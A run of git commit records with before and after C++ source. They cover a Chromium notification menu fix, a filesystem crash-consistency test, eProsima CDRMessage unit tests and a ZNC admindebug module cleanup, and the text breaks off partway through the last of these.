ui::Accelerator* \/* accelerator *\/) {\n \/\/ Currently no accelerators.\n return false;\n}\n\nvoid NotificationOptionsMenuModel::ExecuteCommand(int command_id) {\n DesktopNotificationService* service =\n DesktopNotificationServiceFactory::GetForProfile(balloon_->profile());\n ExtensionService* ext_service =\n balloon_->profile()->GetExtensionService();\n const GURL& origin = balloon_->notification().origin_url();\n switch (command_id) {\n case kTogglePermissionCommand:\n if (service->GetContentSetting(origin) == CONTENT_SETTING_ALLOW)\n service->DenyPermission(origin);\n else\n service->GrantPermission(origin);\n break;\n case kToggleExtensionCommand: {\n const Extension* extension = ext_service->GetExtensionByURL(origin);\n if (extension) {\n ExtensionPrefs* extension_prefs = ext_service->extension_prefs();\n const std::string& id = extension->id();\n if (extension_prefs->GetExtensionState(id) == Extension::ENABLED)\n ext_service->DisableExtension(id);\n else\n ext_service->EnableExtension(id);\n }\n break;\n }\n case kOpenContentSettingsCommand: {\n TabContents* tab_contents =\n balloon_->view()->GetHost()->associated_tab_contents();\n tab_contents->delegate()->ShowContentSettingsPage(\n CONTENT_SETTINGS_TYPE_NOTIFICATIONS);\n break;\n }\n default:\n NOTREACHED();\n break;\n }\n}\n<commit_msg>Fix opening settings page for balloons.<commit_after>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/notifications\/notification_options_menu_model.h\"\n\n#include \"base\/compiler_specific.h\"\n#include \"base\/logging.h\"\n#include \"base\/utf_string_conversions.h\"\n#include \"chrome\/browser\/browser_process.h\"\n#include \"chrome\/browser\/extensions\/extension_service.h\"\n#include \"chrome\/browser\/notifications\/balloon_collection.h\"\n#include \"chrome\/browser\/notifications\/desktop_notification_service.h\"\n#include \"chrome\/browser\/notifications\/desktop_notification_service_factory.h\"\n#include \"chrome\/browser\/notifications\/notification.h\"\n#include \"chrome\/browser\/notifications\/notification_ui_manager.h\"\n#include \"chrome\/browser\/notifications\/notifications_prefs_cache.h\"\n#include \"chrome\/browser\/profiles\/profile.h\"\n#include \"chrome\/browser\/ui\/browser_list.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/common\/content_settings_types.h\"\n#include \"chrome\/common\/extensions\/extension.h\"\n#include \"chrome\/common\/url_constants.h\"\n#include \"content\/browser\/tab_contents\/tab_contents_delegate.h\"\n#include \"grit\/generated_resources.h\"\n#include \"ui\/base\/l10n\/l10n_util.h\"\n\n\/\/ Menu commands\nconst int kTogglePermissionCommand = 0;\nconst int kToggleExtensionCommand = 1;\nconst int kOpenContentSettingsCommand = 2;\nconst int kCornerSelectionSubMenu = 3;\n\nconst int kCornerGroupId = 10;\nconst int kCornerUpperLeft = 11;\nconst int kCornerUpperRight = 12;\nconst int kCornerLowerLeft = 13;\nconst int kCornerLowerRight = 14;\nconst int kCornerDefault = 20;\n\nCornerSelectionMenuModel::CornerSelectionMenuModel(Balloon* balloon)\n : ALLOW_THIS_IN_INITIALIZER_LIST(ui::SimpleMenuModel(this)),\n balloon_(balloon) {\n AddRadioItem(kCornerDefault,\n l10n_util::GetStringUTF16(IDS_NOTIFICATION_POSITION_DEFAULT),\n kCornerGroupId);\n AddSeparator();\n AddRadioItem(kCornerUpperLeft,\n l10n_util::GetStringUTF16(IDS_NOTIFICATION_POSITION_UPPER_LEFT),\n kCornerGroupId);\n AddRadioItem(kCornerUpperRight,\n l10n_util::GetStringUTF16(IDS_NOTIFICATION_POSITION_UPPER_RIGHT),\n kCornerGroupId);\n AddRadioItem(kCornerLowerLeft,\n l10n_util::GetStringUTF16(IDS_NOTIFICATION_POSITION_LOWER_LEFT),\n kCornerGroupId);\n AddRadioItem(kCornerLowerRight,\n l10n_util::GetStringUTF16(IDS_NOTIFICATION_POSITION_LOWER_RIGHT),\n kCornerGroupId);\n}\n\nCornerSelectionMenuModel::~CornerSelectionMenuModel() {\n}\n\nbool CornerSelectionMenuModel::IsCommandIdChecked(int command_id) const {\n NotificationUIManager* ui = g_browser_process->notification_ui_manager();\n BalloonCollection::PositionPreference current = ui->GetPositionPreference();\n\n LOG(INFO) << \"Current position preference: \" << current;\n\n if (command_id == kCornerUpperLeft)\n return (current == BalloonCollection::UPPER_LEFT);\n else if (command_id == kCornerUpperRight)\n return (current == BalloonCollection::UPPER_RIGHT);\n else if (command_id == kCornerLowerLeft)\n return (current == BalloonCollection::LOWER_LEFT);\n else if (command_id == kCornerLowerRight)\n return (current == BalloonCollection::LOWER_RIGHT);\n else if (command_id == kCornerDefault)\n return (current == BalloonCollection::DEFAULT_POSITION);\n\n NOTREACHED();\n return false;\n}\n\nbool CornerSelectionMenuModel::IsCommandIdEnabled(int command_id) const {\n \/\/ All the menu options are always enabled.\n return true;\n}\n\nbool CornerSelectionMenuModel::GetAcceleratorForCommandId(\n int command_id, ui::Accelerator* accelerator) {\n \/\/ Currently no accelerators.\n return false;\n}\n\nvoid CornerSelectionMenuModel::ExecuteCommand(int command_id) {\n NotificationUIManager* ui = g_browser_process->notification_ui_manager();\n\n LOG(INFO) << \"Executing command: \" << command_id;\n\n if (command_id == kCornerUpperLeft)\n ui->SetPositionPreference(BalloonCollection::UPPER_LEFT);\n else if (command_id == kCornerUpperRight)\n ui->SetPositionPreference(BalloonCollection::UPPER_RIGHT);\n else if (command_id == kCornerLowerLeft)\n ui->SetPositionPreference(BalloonCollection::LOWER_LEFT);\n else if (command_id == kCornerLowerRight)\n ui->SetPositionPreference(BalloonCollection::LOWER_RIGHT);\n else if (command_id == kCornerDefault)\n ui->SetPositionPreference(BalloonCollection::DEFAULT_POSITION);\n else\n NOTREACHED();\n}\n\nNotificationOptionsMenuModel::NotificationOptionsMenuModel(Balloon* balloon)\n : ALLOW_THIS_IN_INITIALIZER_LIST(ui::SimpleMenuModel(this)),\n balloon_(balloon) {\n\n const Notification& notification = balloon->notification();\n const GURL& origin = notification.origin_url();\n\n if (origin.SchemeIs(chrome::kExtensionScheme)) {\n const string16 disable_label = l10n_util::GetStringUTF16(\n IDS_EXTENSIONS_DISABLE);\n AddItem(kToggleExtensionCommand, disable_label);\n } else {\n const string16 disable_label = l10n_util::GetStringFUTF16(\n IDS_NOTIFICATION_BALLOON_REVOKE_MESSAGE,\n notification.display_source());\n AddItem(kTogglePermissionCommand, disable_label);\n }\n\n const string16 settings_label = l10n_util::GetStringUTF16(\n IDS_NOTIFICATIONS_SETTINGS_BUTTON);\n AddItem(kOpenContentSettingsCommand, settings_label);\n\n corner_menu_model_.reset(new CornerSelectionMenuModel(balloon));\n AddSubMenu(kCornerSelectionSubMenu,\n l10n_util::GetStringUTF16(IDS_NOTIFICATION_CHOOSE_POSITION),\n corner_menu_model_.get());\n}\n\nNotificationOptionsMenuModel::~NotificationOptionsMenuModel() {\n}\n\nbool NotificationOptionsMenuModel::IsItemForCommandIdDynamic(int command_id)\n const {\n return command_id == kTogglePermissionCommand ||\n command_id == kToggleExtensionCommand;\n}\n\nstring16 NotificationOptionsMenuModel::GetLabelForCommandId(int command_id)\n const {\n \/\/ TODO(tfarina,johnnyg): Remove this code if we decide to close notifications\n \/\/ after permissions are revoked.\n if (command_id == kTogglePermissionCommand ||\n command_id == kToggleExtensionCommand) {\n const Notification& notification = balloon_->notification();\n const GURL& origin = notification.origin_url();\n\n DesktopNotificationService* service =\n DesktopNotificationServiceFactory::GetForProfile(balloon_->profile());\n if (origin.SchemeIs(chrome::kExtensionScheme)) {\n ExtensionService* ext_service =\n balloon_->profile()->GetExtensionService();\n const Extension* extension = ext_service->GetExtensionByURL(origin);\n if (extension) {\n ExtensionPrefs* extension_prefs = ext_service->extension_prefs();\n const std::string& id = extension->id();\n if (extension_prefs->GetExtensionState(id) == Extension::ENABLED)\n return l10n_util::GetStringUTF16(IDS_EXTENSIONS_DISABLE);\n else\n return l10n_util::GetStringUTF16(IDS_EXTENSIONS_ENABLE);\n }\n } else {\n if (service->GetContentSetting(origin) == CONTENT_SETTING_ALLOW) {\n return l10n_util::GetStringFUTF16(\n IDS_NOTIFICATION_BALLOON_REVOKE_MESSAGE,\n notification.display_source());\n } else {\n return l10n_util::GetStringFUTF16(\n IDS_NOTIFICATION_BALLOON_ENABLE_MESSAGE,\n notification.display_source());\n }\n }\n } else if (command_id == kOpenContentSettingsCommand) {\n return l10n_util::GetStringUTF16(IDS_NOTIFICATIONS_SETTINGS_BUTTON);\n }\n return string16();\n}\n\nbool NotificationOptionsMenuModel::IsCommandIdChecked(int \/* command_id *\/)\n const {\n \/\/ Nothing in the menu is checked.\n return false;\n}\n\nbool NotificationOptionsMenuModel::IsCommandIdEnabled(int \/* command_id *\/)\n const {\n \/\/ All the menu options are always enabled.\n return true;\n}\n\nbool NotificationOptionsMenuModel::GetAcceleratorForCommandId(\n int \/* command_id *\/, ui::Accelerator* \/* accelerator *\/) {\n \/\/ Currently no accelerators.\n return false;\n}\n\nvoid NotificationOptionsMenuModel::ExecuteCommand(int command_id) {\n DesktopNotificationService* service =\n DesktopNotificationServiceFactory::GetForProfile(balloon_->profile());\n ExtensionService* ext_service =\n balloon_->profile()->GetExtensionService();\n const GURL& origin = balloon_->notification().origin_url();\n switch (command_id) {\n case kTogglePermissionCommand:\n if (service->GetContentSetting(origin) == CONTENT_SETTING_ALLOW)\n service->DenyPermission(origin);\n else\n service->GrantPermission(origin);\n break;\n case kToggleExtensionCommand: {\n const Extension* extension = ext_service->GetExtensionByURL(origin);\n if (extension) {\n ExtensionPrefs* extension_prefs = ext_service->extension_prefs();\n const std::string& id = extension->id();\n if (extension_prefs->GetExtensionState(id) == Extension::ENABLED)\n ext_service->DisableExtension(id);\n else\n ext_service->EnableExtension(id);\n }\n break;\n }\n case kOpenContentSettingsCommand: {\n Browser* browser =\n BrowserList::GetLastActiveWithProfile(balloon_->profile());\n if (!browser) {\n \/\/ It is possible that there is no browser window (e.g. when there are\n \/\/ background pages, or for a chrome frame process on windows).\n browser = Browser::Create(balloon_->profile());\n }\n static_cast<TabContentsDelegate*>(browser)->ShowContentSettingsPage(\n CONTENT_SETTINGS_TYPE_NOTIFICATIONS);\n break;\n }\n default:\n NOTREACHED();\n break;\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\nReproducing xfstest generic\/321 directory_test()\n\n1. Create directory A and fsync it\n\nAfter a crash, the directory should still be present.\n\nhttps:\/\/github.com\/kdave\/xfstests\/blob\/master\/tests\/generic\/321\n*\/\n\n\n#include <fcntl.h>\n#include <sys\/stat.h>\n#include <sys\/types.h>\n#include <unistd.h>\n#include <string>\n#include <iostream>\n#include <dirent.h>\n#include <cstring>\n#include <errno.h>\n\n#include \"BaseTestCase.h\"\n#include \"..\/user_tools\/api\/workload.h\"\n#include \"..\/user_tools\/api\/actions.h\"\n#define TEST_DIR_A \"test_dir_a\"\n\n\nusing fs_testing::tests::DataTestResult;\nusing fs_testing::user_tools::api::WriteData;\nusing fs_testing::user_tools::api::WriteDataMmap;\nusing fs_testing::user_tools::api::Checkpoint;\nusing std::string;\n\n#define TEST_FILE_PERMS ((mode_t) (S_IRWXU | S_IRWXG | S_IRWXO))\n\nnamespace fs_testing {\nnamespace tests {\n\n\nclass Generic321_1: public BaseTestCase {\n public:\n virtual int setup() override {\n\n\tinit_paths();\n\n\t\/\/ Create test directory A.\n\tint res = mkdir(dir_path.c_str(), 0777);\n if (res < 0) {\n return -1;\n }\n\n \/\/ fsync the directory\n int dir = open(dir_path.c_str(), O_RDONLY, O_DIRECTORY);\n if (dir < 0) {\n \treturn -4;\n }\n\n if (fsync(dir) < 0) {\n \treturn -5;\n }\n close(dir);\n\n return 0;\n }\n\n virtual int run() override {\n\n\t\/\/ nothing here since it's a simple test\n\tif (Checkpoint() < 0){\n return -5;\n }\n\n return 0;\n }\n\n virtual int check_test(unsigned int last_checkpoint,\n DataTestResult *test_result) override {\n\n\tinit_paths();\n\n struct stat stats;\n const int stats_res = stat(dir_path.c_str(), &stats);\n const int errno_stats = errno;\n\n if (stats_res < 0 && errno_stats == ENOENT) {\n test_result->SetError(DataTestResult::kFileMissing);\n test_result->error_description = \" : \" + dir_path + \" is missing\";\n return 0;\n }\n\n \/\/ If it is not a directory\n if (!S_ISDIR(stats.st_mode)) {\n test_result->SetError(DataTestResult::kFileMetadataCorrupted);\n test_result->error_description = \" : \" + dir_path + \" is not a directory\";\n return 0;\n }\n\n return 0;\n }\n\n private:\n string dir_path;\n\n void init_paths() {\n\t dir_path = mnt_dir_ + \"\/\" TEST_DIR_A;\n }\n};\n\n} \/\/ namespace tests\n} \/\/ namespace fs_testing\n\nextern \"C\" fs_testing::tests::BaseTestCase *test_case_get_instance() {\n return new fs_testing::tests::Generic321_1;\n}\n\nextern \"C\" void test_case_delete_instance(fs_testing::tests::BaseTestCase *tc) {\n delete tc;\n}\n<commit_msg>Moving create and fsync to run method in generic 321_1<commit_after>\/*\nReproducing xfstest generic\/321 directory_test()\n\n1. Create directory A and fsync it\n\nAfter a crash, the directory should still be present.\n\nhttps:\/\/github.com\/kdave\/xfstests\/blob\/master\/tests\/generic\/321\n*\/\n\n\n#include <fcntl.h>\n#include <sys\/stat.h>\n#include <sys\/types.h>\n#include <unistd.h>\n#include <string>\n#include <iostream>\n#include <dirent.h>\n#include <cstring>\n#include <errno.h>\n\n#include \"BaseTestCase.h\"\n#include \"..\/user_tools\/api\/workload.h\"\n#include \"..\/user_tools\/api\/actions.h\"\n#define TEST_DIR_A \"test_dir_a\"\n\n\nusing fs_testing::tests::DataTestResult;\nusing fs_testing::user_tools::api::WriteData;\nusing fs_testing::user_tools::api::WriteDataMmap;\nusing fs_testing::user_tools::api::Checkpoint;\nusing std::string;\n\n#define TEST_FILE_PERMS ((mode_t) (S_IRWXU | S_IRWXG | S_IRWXO))\n\nnamespace fs_testing {\nnamespace tests {\n\n\nclass Generic321_1: public BaseTestCase {\n public:\n virtual int setup() override {\n return 0;\n }\n\n virtual int run() override {\n\n\t\/\/ Create test directory A.\n\tint res = mkdir(dir_path.c_str(), 0777);\n\tif (res < 0) {\n\t return -1;\n\t}\n\n\t\/\/ fsync the directory\n\tint dir = open(dir_path.c_str(), O_RDONLY, O_DIRECTORY);\n\tif (dir < 0) {\n\t\treturn -4;\n\t}\n\n\tif (fsync(dir) < 0) {\n\t\treturn -5;\n\t}\n\n\tif (Checkpoint() < 0){\n return -5;\n }\n\n\tclose(dir);\n return 0;\n }\n\n virtual int check_test(unsigned int last_checkpoint,\n DataTestResult *test_result) override {\n\n\tinit_paths();\n\n struct stat stats;\n const int stats_res = stat(dir_path.c_str(), &stats);\n const int errno_stats = errno;\n\n if (stats_res < 0 && errno_stats == ENOENT && last_checkpoint == 1) {\n test_result->SetError(DataTestResult::kFileMissing);\n test_result->error_description = \" : \" + dir_path + \" is missing\";\n return 0;\n }\n\n \/\/ If it is not a directory\n if (!S_ISDIR(stats.st_mode) && last_checkpoint == 1) {\n test_result->SetError(DataTestResult::kFileMetadataCorrupted);\n test_result->error_description = \" : \" + dir_path + \" is not a directory\";\n return 0;\n }\n\n return 0;\n }\n\n private:\n string dir_path;\n\n void init_paths() {\n\t dir_path = mnt_dir_ + \"\/\" TEST_DIR_A;\n }\n};\n\n} \/\/ namespace tests\n} \/\/ namespace fs_testing\n\nextern \"C\" fs_testing::tests::BaseTestCase *test_case_get_instance() {\n return new fs_testing::tests::Generic321_1;\n}\n\nextern \"C\" void test_case_delete_instance(fs_testing::tests::BaseTestCase *tc) {\n delete tc;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"eprosimartps\/CDRMessage.h\"\n\nTEST(CDRMessage, constructor)\n{\n\tCDRMessage_t msg;\n\tASSERT_EQ(0,msg.pos);\n\tASSERT_EQ(0,msg.length);\n\tASSERT_EQ(RTPSMESSAGE_MAX_SIZE,msg.max_size);\n\tASSERT_TRUE(NULL != msg.buffer);\n\tASSERT_EQ(EPROSIMA_ENDIAN,msg.msg_endian);\n}\n\nTEST(CDRMessage, constructor_size)\n{\n\tCDRMessage_t msg2(20);\n\tASSERT_EQ(0,msg2.pos);\n\tASSERT_EQ(0,msg2.length);\n\tASSERT_EQ(20,msg2.max_size);\n\tASSERT_TRUE(NULL != msg2.buffer);\n\tASSERT_EQ(EPROSIMA_ENDIAN,msg2.msg_endian);\n}\n\nclass CDRMessageTest: public ::testing::Test\n{\nprotected:\n\tvoid SetUp()\n\t{\n\n\t}\n\tCDRMessage_t t_msg;\n\tuint16_t t_length;\n\tuint16_t t_pos;\n\tvoid saveLengthPos()\n\t{\n\t\tt_length = t_msg.length;\n\t\tt_pos = t_msg.pos;\n\t}\n\tbool checkLengthIncrement(uint16_t inc)\n\t{\n\t\tif(t_length+inc == t_msg.length)\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t}\n\tbool checkPosIncrement(uint16_t inc)\n\t{\n\t\tif(t_pos+inc == t_msg.pos)\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t}\n\n\n};\n\nTEST_F(CDRMessageTest, octet)\n{\n\toctet o = 35;\n\tsaveLengthPos();\n\tCDRMessage::addOctet(&t_msg,o);\n\tEXPECT_TRUE(checkLengthIncrement(1));\n\tEXPECT_TRUE(checkPosIncrement(1));\n\tASSERT_EQ(35,t_msg.buffer[t_msg.pos-1]) << \"Octet not added correctly\";\n\tt_msg.pos--;\n\tsaveLengthPos();\n\tCDRMessage::readOctet(&t_msg,&o);\n\tEXPECT_FALSE(checkLengthIncrement(1));\n\tEXPECT_TRUE(checkPosIncrement(1));\n\tASSERT_EQ(35,o) << \"Octet not readed correctly\";\n}\n\nTEST_F(CDRMessageTest, uint16)\n{\n\tuint16_t n = 645;\n\tsaveLengthPos();\n\tCDRMessage::addUInt16(&t_msg,n);\n\tEXPECT_TRUE(checkLengthIncrement(2));\n\tEXPECT_TRUE(checkPosIncrement(2));\n\tt_msg.pos-=2;\n\tCDRMessage::readUInt16(&t_msg,&n);\n\tASSERT_EQ(645,n);\n}\n\nTEST_F(CDRMessageTest, uint32)\n{\n\tuint32_t n = 123456;\n\tsaveLengthPos();\n\tCDRMessage::addUInt32(&t_msg,n);\n\tEXPECT_TRUE(checkLengthIncrement(4));\n\tEXPECT_TRUE(checkPosIncrement(4));\n\tt_msg.pos-=4;\n\tCDRMessage::readUInt32(&t_msg,&n);\n\tASSERT_EQ(123456,n);\n}\n\n\nTEST_F(CDRMessageTest, int32)\n{\n\tint32_t n = 123456;\n\tsaveLengthPos();\n\tEXPECT_TRUE(CDRMessage::addInt32(&t_msg,n));\n\tEXPECT_TRUE(checkLengthIncrement(4));\n\tEXPECT_TRUE(checkPosIncrement(4));\n\tt_msg.pos-=4;\n\tEXPECT_TRUE(CDRMessage::readInt32(&t_msg,&n));\n\tASSERT_EQ(123456,n);\n\tn = -123456;\n\tsaveLengthPos();\n\tEXPECT_TRUE(CDRMessage::addInt32(&t_msg,n));\n\tEXPECT_TRUE(checkLengthIncrement(4));\n\tEXPECT_TRUE(checkPosIncrement(4));\n\tt_msg.pos-=4;\n\tEXPECT_TRUE(CDRMessage::readInt32(&t_msg,&n));\n\tASSERT_EQ(-123456,n);\n}\n\nTEST_F(CDRMessageTest, SequenceNumber)\n{\n\tSequenceNumber_t seq;\n\tseq.high = 10;\n\tseq.low = 25;\n\tsaveLengthPos();\n\tEXPECT_TRUE(CDRMessage::addSequenceNumber(&t_msg,&seq));\n\tEXPECT_TRUE(checkLengthIncrement(8));\n\tEXPECT_TRUE(checkPosIncrement(8));\n\tt_msg.pos-=8;\n\tCDRMessage::readSequenceNumber(&t_msg,&n);\n\tASSERT_EQ(123456,n);\n\tn = -123456;\n\tsaveLengthPos();\n\tCDRMessage::addInt32(&t_msg,n);\n\tEXPECT_TRUE(checkLengthIncrement(4));\n\tEXPECT_TRUE(checkPosIncrement(4));\n\tt_msg.pos-=4;\n\tCDRMessage::readInt32(&t_msg,&n);\n\tASSERT_EQ(-123456,n);\n}\n\n<commit_msg>CDRMessage SeqNum unittest<commit_after>#include \"eprosimartps\/CDRMessage.h\"\n\nTEST(CDRMessage, constructor)\n{\n\tCDRMessage_t msg;\n\tASSERT_EQ(0,msg.pos);\n\tASSERT_EQ(0,msg.length);\n\tASSERT_EQ(RTPSMESSAGE_MAX_SIZE,msg.max_size);\n\tASSERT_TRUE(NULL != msg.buffer);\n\tASSERT_EQ(EPROSIMA_ENDIAN,msg.msg_endian);\n}\n\nTEST(CDRMessage, constructor_size)\n{\n\tCDRMessage_t msg2(20);\n\tASSERT_EQ(0,msg2.pos);\n\tASSERT_EQ(0,msg2.length);\n\tASSERT_EQ(20,msg2.max_size);\n\tASSERT_TRUE(NULL != msg2.buffer);\n\tASSERT_EQ(EPROSIMA_ENDIAN,msg2.msg_endian);\n}\n\nclass CDRMessageTest: public ::testing::Test\n{\nprotected:\n\tvoid SetUp()\n\t{\n\n\t}\n\tCDRMessage_t t_msg;\n\tuint16_t t_length;\n\tuint16_t t_pos;\n\tvoid saveLengthPos()\n\t{\n\t\tt_length = t_msg.length;\n\t\tt_pos = t_msg.pos;\n\t}\n\tbool checkLengthIncrement(uint16_t inc)\n\t{\n\t\tif(t_length+inc == t_msg.length)\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t}\n\tbool checkPosIncrement(uint16_t inc)\n\t{\n\t\tif(t_pos+inc == t_msg.pos)\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t}\n\n\n};\n\nTEST_F(CDRMessageTest, octet)\n{\n\toctet o = 35;\n\tsaveLengthPos();\n\tCDRMessage::addOctet(&t_msg,o);\n\tEXPECT_TRUE(checkLengthIncrement(1));\n\tEXPECT_TRUE(checkPosIncrement(1));\n\tASSERT_EQ(35,t_msg.buffer[t_msg.pos-1]) << \"Octet not added correctly\";\n\tt_msg.pos--;\n\tsaveLengthPos();\n\tCDRMessage::readOctet(&t_msg,&o);\n\tEXPECT_FALSE(checkLengthIncrement(1));\n\tEXPECT_TRUE(checkPosIncrement(1));\n\tASSERT_EQ(35,o) << \"Octet not readed correctly\";\n}\n\nTEST_F(CDRMessageTest, uint16)\n{\n\tuint16_t n = 645;\n\tsaveLengthPos();\n\tCDRMessage::addUInt16(&t_msg,n);\n\tEXPECT_TRUE(checkLengthIncrement(2));\n\tEXPECT_TRUE(checkPosIncrement(2));\n\tt_msg.pos-=2;\n\tCDRMessage::readUInt16(&t_msg,&n);\n\tASSERT_EQ(645,n);\n}\n\nTEST_F(CDRMessageTest, uint32)\n{\n\tuint32_t n = 123456;\n\tsaveLengthPos();\n\tCDRMessage::addUInt32(&t_msg,n);\n\tEXPECT_TRUE(checkLengthIncrement(4));\n\tEXPECT_TRUE(checkPosIncrement(4));\n\tt_msg.pos-=4;\n\tCDRMessage::readUInt32(&t_msg,&n);\n\tASSERT_EQ(123456,n);\n}\n\n\nTEST_F(CDRMessageTest, int32)\n{\n\tint32_t n = 123456;\n\tsaveLengthPos();\n\tEXPECT_TRUE(CDRMessage::addInt32(&t_msg,n));\n\tEXPECT_TRUE(checkLengthIncrement(4));\n\tEXPECT_TRUE(checkPosIncrement(4));\n\tt_msg.pos-=4;\n\tEXPECT_TRUE(CDRMessage::readInt32(&t_msg,&n));\n\tASSERT_EQ(123456,n);\n\tn = -123456;\n\tsaveLengthPos();\n\tEXPECT_TRUE(CDRMessage::addInt32(&t_msg,n));\n\tEXPECT_TRUE(checkLengthIncrement(4));\n\tEXPECT_TRUE(checkPosIncrement(4));\n\tt_msg.pos-=4;\n\tEXPECT_TRUE(CDRMessage::readInt32(&t_msg,&n));\n\tASSERT_EQ(-123456,n);\n}\n\nTEST_F(CDRMessageTest, SequenceNumber)\n{\n\tSequenceNumber_t seq;\n\tseq.high = 10;\n\tseq.low = 25;\n\tsaveLengthPos();\n\tEXPECT_TRUE(CDRMessage::addSequenceNumber(&t_msg,&seq));\n\tEXPECT_TRUE(checkLengthIncrement(8));\n\tEXPECT_TRUE(checkPosIncrement(8));\n\tt_msg.pos-=8;\n\tCDRMessage::readSequenceNumber(&t_msg,&seq);\n\tASSERT_EQ(10,seq.high);\n\tASSERT_EQ(25,seq.low);\n\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/*\r\n * Copyright (C) 2004-2018 ZNC, see the NOTICE file for details.\r\n *\r\n * Licensed under the Apache License, Version 2.0 (the \"License\");\r\n * you may not use this file except in compliance with the License.\r\n * You may obtain a copy of the License at\r\n *\r\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\r\n *\r\n * Unless required by applicable law or agreed to in writing, software\r\n * distributed under the License is distributed on an \"AS IS\" BASIS,\r\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n * See the License for the specific language governing permissions and\r\n * limitations under the License.\r\n *\/\r\n\r\n#include <znc\/FileUtils.h>\r\n#include <znc\/Server.h>\r\n#include <znc\/IRCNetwork.h>\r\n#include <znc\/User.h>\r\n#include <znc\/ZNCDebug.h>\r\n\r\nclass CAdminDebugMod : public CModule {\r\n private:\r\n CString m_sEnabledBy;\r\n\r\n public:\r\n MODCONSTRUCTOR(CAdminDebugMod) {\r\n AddHelpCommand();\r\n AddCommand(\"Enable\", \"\", t_d(\"Enable Debug Mode\"),\r\n [=](const CString& sLine) { CommandEnable(sLine); });\r\n AddCommand(\"Disable\", \"\", t_d(\"Disable Debug Mode\"),\r\n [=](const CString& sLine) { CommandDisable(sLine); });\r\n AddCommand(\"Status\", \"\", t_d(\"Show the Debug Mode status\"),\r\n [=](const CString& sLine) { CommandStatus(sLine); });\r\n }\r\n\r\n void CommandEnable(const CString& sCommand) {\r\n if (GetUser()->IsAdmin() == false) {\r\n PutModule(t_s(\"Access denied!\"));\r\n return;\r\n }\r\n\r\n ToggleDebug(true, GetUser()->GetNick());\r\n }\r\n\r\n void CommandDisable(const CString& sCommand) {\r\n if (GetUser()->IsAdmin() == false) {\r\n PutModule(t_s(\"Access denied!\"));\r\n return;\r\n }\r\n\r\n ToggleDebug(false, m_sEnabledBy);\r\n }\r\n\r\n bool ToggleDebug(bool bEnable, CString sEnabledBy) {\r\n if (!CDebug::StdoutIsTTY()) {\r\n PutModule(t_s(\"Failure. We need to be running with a TTY. (is ZNC running with --foreground?)\"));\r\n return false;\r\n }\r\n\r\n bool bValue = CDebug::Debug();\r\n\r\n if (bEnable == bValue) {\r\n if (bEnable) {\r\n PutModule(t_s(\"Already enabled.\"));\r\n } else {\r\n PutModule(t_s(\"Already disabled.\"));\r\n }\r\n return false;\r\n }\r\n\r\n CDebug::SetDebug(bEnable);\r\n CString sEnabled = CString(bEnable ? \"on\" : \"off\");\r\n CZNC::Get().Broadcast(CString(\r\n \"An administrator has just turned Debug Mode \\02\" + sEnabled + \"\\02. It was enabled by \\02\" + sEnabledBy + \"\\02.\"\r\n ));\r\n if (bEnable) {\r\n CZNC::Get().Broadcast(\r\n CString(\"Messages, credentials, and other sensitive data may\"\r\n \" become exposed to the host during this period.\")\r\n );\r\n m_sEnabledBy = sEnabledBy;\r\n } else {\r\n m_sEnabledBy = \"\";\r\n }\r\n\r\n return true;\r\n }\r\n\r\n void CommandStatus(const CString& sCommand) {\r\n if (CDebug::Debug()) {\r\n PutModule(t_s(\"Debugging mode is \\02on\\02.\"));\r\n } else {\r\n PutModule(t_s(\"Debugging mode is \\02off\\02.\"));\r\n }\r\n PutModule(t_s(\"Logging to: \\02stdout\\02.\"));\r\n }\r\n};\r\n\r\ntemplate <>\r\nvoid TModInfo<CAdminDebugMod>(CModInfo& Info) {\r\n Info.SetWikiPage(\"admindebug\");\r\n}\r\n\r\nGLOBALMODULEDEFS(CAdminDebugMod, t_s(\"Enable Debug mode dynamically.\"))\r\n<commit_msg>admindebug: language\/style fixes<commit_after>\/*\r\n * Copyright (C) 2004-2018 ZNC, see the NOTICE file for details.\r\n *\r\n * Licensed under the Apache License, Version 2.0 (the \"License\");\r\n * you may not use this file except in compliance with the License.\r\n * You may obtain a copy of the License at\r\n *\r\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\r\n *\r\n * Unless required by applicable law or agreed to in writing, software\r\n * distributed under the License is distributed on an \"AS IS\" BASIS,\r\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n * See the License for the specific language governing permissions and\r\n * limitations under the License.\r\n *\/\r\n\r\n#include <znc\/FileUtils.h>\r\n#include <znc\/Server.h>\r\n#include <znc\/IRCNetwork.h>\r\n#include <znc\/User.h>\r\n#include <znc\/ZNCDebug.h>\r\n\r\nclass CAdminDebugMod : public CModule {\r\n private:\r\n CString m_sEnabledBy;\r\n\r\n public:\r\n MODCONSTRUCTOR(CAdminDebugMod) {\r\n AddHelpCommand();\r\n AddCommand(\"Enable\", \"\", t_d(\"Enable Debug Mode\"),\r\n [=](const CString& sLine) { CommandEnable(sLine); });\r\n AddCommand(\"Disable\", \"\", t_d(\"Disable Debug Mode\"),\r\n [=](const CString& sLine) { CommandDisable(sLine); });\r\n AddCommand(\"Status\", \"\", t_d(\"Show the Debug Mode status\"),\r\n [=](const CString& sLine) { CommandStatus(sLine); });\r\n }\r\n\r\n void CommandEnable(const CString& sCommand) {\r\n if (!GetUser()->IsAdmin()) {\r\n PutModule(t_s(\"Access denied!\"));\r\n return;\r\n }\r\n\r\n ToggleDebug(true, GetUser()->GetNick());\r\n }\r\n\r\n void CommandDisable(const CString& sCommand) {\r\n if (!GetUser()->IsAdmin()) {\r\n PutModule(t_s(\"Access denied!\"));\r\n return;\r\n }\r\n\r\n ToggleDebug(false, m_sEnabledBy);\r\n }\r\n\r\n bool ToggleDebug(bool bEnable, const CString& sEnabledBy) {\r\n if (!CDebug::StdoutIsTTY()) {\r\n PutModule(t_s(\"Failure. We need to be running with a TTY. (is ZNC running with 